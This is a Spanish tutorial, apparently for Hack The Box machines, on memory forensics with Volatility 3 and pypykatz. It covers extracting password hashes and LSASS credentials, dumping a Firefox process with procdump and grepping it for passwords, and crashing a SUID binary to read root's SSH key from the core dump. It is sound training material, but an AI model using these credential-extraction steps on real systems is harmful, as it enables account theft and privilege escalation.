Forense de memoria con Volatility 3: volcados de RAM, LSASS y core dumps

Analizar volcados de memoria paso a paso: instalar Volatility 3, listar procesos, sacar hashes y líneas de comandos, leer un dump de LSASS con pypykatz y otros volcados típicos de HTB.

· 6 min de lectura

Un volcado de memoria es una foto de la RAM de un equipo (o de un solo proceso) en un momento dado. Ahí está todo lo que el sistema tenía abierto: procesos, conexiones, comandos y, sobre todo, credenciales en claro o en hash. En Hack The Box aparecen en dos situaciones: te encuentras un volcado olvidado en un recurso compartido, o lo creas tú del proceso que guarda la contraseña que buscas.

Esta guía cubre las dos, con Volatility 3 para volcados completos y pypykatz para LSASS.

Lo mínimo que tienes que saber

  • Volcado completo: toda la RAM. Extensiones típicas .raw, .mem, .vmem (VMware), .dmp o MEMORY.DMP. Se analiza con Volatility o MemProcFS.
  • Volcado de un proceso (minidump): solo la memoria de un programa, como lsass.DMP. Se analiza con pypykatz o con strings.
  • Core dump de Linux: lo que deja un programa al fallar. A veces contiene un fichero que el programa había leído con más privilegios que tú.
  • Volatility 3 no usa los "perfiles" de la versión 2: identifica el sistema solo y descarga los símbolos que necesita de Microsoft.

Requisitos

pipx install volatility3
pipx install pypykatz
vol -h | head -3
  • Conexión a Internet la primera vez que analices un Windows, para que Volatility descargue los símbolos del kernel.
  • Espacio en disco: un volcado ocupa lo mismo que la RAM del equipo, varios GB.
  • Para practicar: Silo (volcado completo), Blackfield (dump de LSASS) y Heist (volcar un proceso tú mismo).

Paso 1: identificar el sistema

vol -f memoria.dmp windows.info
Variable        Value
Kernel Base     0xf8007828a000
Is64Bit         True
NtMajorVersion  6
NtMinorVersion  3
NtProductType   NtProductServer

Si responde con datos, Volatility ha encontrado el kernel y tiene símbolos. 6.3 es Windows 8.1 o Server 2012 R2; 10.0 es Windows 10, 11 o Server 2016 en adelante.

Paso 2: procesos, comandos y conexiones

vol -f memoria.dmp windows.pstree
vol -f memoria.dmp windows.cmdline
vol -f memoria.dmp windows.netscan
  • pstree enseña qué proceso lanzó a cuál. Fíjate en cmd.exe o powershell.exe colgando de procesos raros.
  • cmdline da la línea de comandos de cada proceso: contraseñas pasadas como argumento, rutas de scripts.
  • netscan lista las conexiones, útil para ver con qué hablaba el equipo.

windows.psscan encuentra además procesos que ya habían terminado o que se esconden de la lista normal.

Paso 3: hashes y secretos

vol -f memoria.dmp windows.hashdump
User           rid   lmhash                            nthash
Administrator  500   aad3b435b51404eeaad3b435b51404ee  <hash NT>
Guest          501   aad3b435b51404eeaad3b435b51404ee  31d6cfe0d16ae931b73c59d7e0c089c0

Esos son los hashes de las cuentas locales, sacados de las colmenas SAM y SYSTEM que estaban en memoria. El de Administrator sirve directamente para pass-the-hash. Es lo que pasa en Silo: el volcado, que se descarga de un enlace a Dropbox que encuentras en la máquina, contiene el hash del administrador y con él entras por SMB.

Otros plugins con credenciales:

Plugin Qué saca
windows.lsadump Secretos LSA: contraseñas de servicios y de autologon
windows.cachedump Hashes de inicios de sesión de dominio en caché (formato mscash2, se crackean)
windows.registry.hivelist Las colmenas cargadas, para extraerlas con windows.registry.printkey
windows.filescan + windows.dumpfiles Ficheros abiertos en memoria, que puedes extraer

Truco

MemProcFS monta el volcado como una carpeta: cada proceso, cada colmena del registro y cada fichero son ficheros normales que abres con cat o pasas a impacket-secretsdump. Es lo que se usa en Freelancer y es más rápido para explorar.

Paso 4: un dump de LSASS

LSASS es el proceso de Windows que guarda las credenciales de las sesiones abiertas. Si encuentras su volcado (lsass.DMP, lsass.zip), no necesitas Volatility:

pypykatz lsa minidump lsass.DMP
== LogonSession ==
username svc_backup
domainname BLACKFIELD
        == MSV ==
                Username: svc_backup
                Domain: BLACKFIELD
                NT: <hash NT>

En Blackfield el recurso compartido forensic tiene un lsass.zip con el hash de svc_backup, que entra por WinRM y está en Backup Operators (ver grupos privilegiados de Windows). Si tú puedes volcar LSASS en una víctima, el procedimiento está en volcado de credenciales en Windows.

Paso 5: volcar un proceso tú mismo

Si un programa tiene una contraseña en memoria (un navegador con una sesión, un gestor de contraseñas), vuelca solo ese proceso. En Windows, con procdump de Sysinternals:

Get-Process firefox
.\procdump64.exe -accepteula -ma 6252 firefox.dmp

Bájate el .dmp y busca:

strings -n 8 firefox.dmp | grep -iE "password=|passwd=|login_password"

Es la vía de Heist: un Firefox abierto tiene en memoria la petición de login de la web con la contraseña del administrador.

En Keeper te dan un volcado de KeePass. Por el CVE-2023-32784, KeePass 2.x dejaba en memoria la contraseña maestra que se tecleó, carácter a carácter. Herramientas públicas como keepass-password-dumper la recuperan casi entera (falta el primer carácter, que se deduce).

Paso 6: core dumps en Linux

En Linux, si un programa con SUID o con permisos especiales lee un fichero y luego falla, el core dump puede contener ese fichero. En Secret un binario SUID lee cualquier fichero y se queda esperando una respuesta. Mientras espera, desde otra shell:

kill -BUS $(pidof count)
ls /var/crash/
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash
strings /tmp/crash/CoreDump | less

Dentro del CoreDump está el contenido del fichero que leyó (por ejemplo, la clave SSH de root).

Errores típicos

  • Unsatisfied requirement plugins.Info.kernel o symbol_table_name: Volatility no encuentra símbolos. Necesita Internet la primera vez; si no tienes, descarga el paquete de símbolos de Windows de la web de Volatility y ponlo en volatility3/symbols/.
  • Los comandos de un tutorial no funcionan: es Volatility 2 (imageinfo, --profile=Win7SP1x64, vol.py). En la 3 son windows.info, windows.pslist, etc., y no hay perfiles.
  • Linux da error de símbolos: para volcados de Linux hay que generar un fichero ISF del kernel exacto con dwarf2json. En HTB es raro; lo habitual en Linux son core dumps.
  • pypykatz no entiende el fichero: no es un minidump (quizá es un volcado completo). Usa Volatility o MemProcFS.
  • La descarga del volcado tarda una eternidad: comprímelo en la víctima antes (Compress-Archive o 7z) y bájalo por SMB con Impacket (smbclient) en vez de por HTTP.
  • strings no encuentra la contraseña: en Windows mucho texto está en UTF-16. Repite con strings -e l.

Y después

Los hashes que saques se usan tal cual con pass-the-hash o se crackean con hashcat y John. Si lo que tienes es una captura de red en vez de un volcado, sigue con analizar un pcap con Wireshark.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Volcados de memoria 8 máquinas

Ver las 8 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo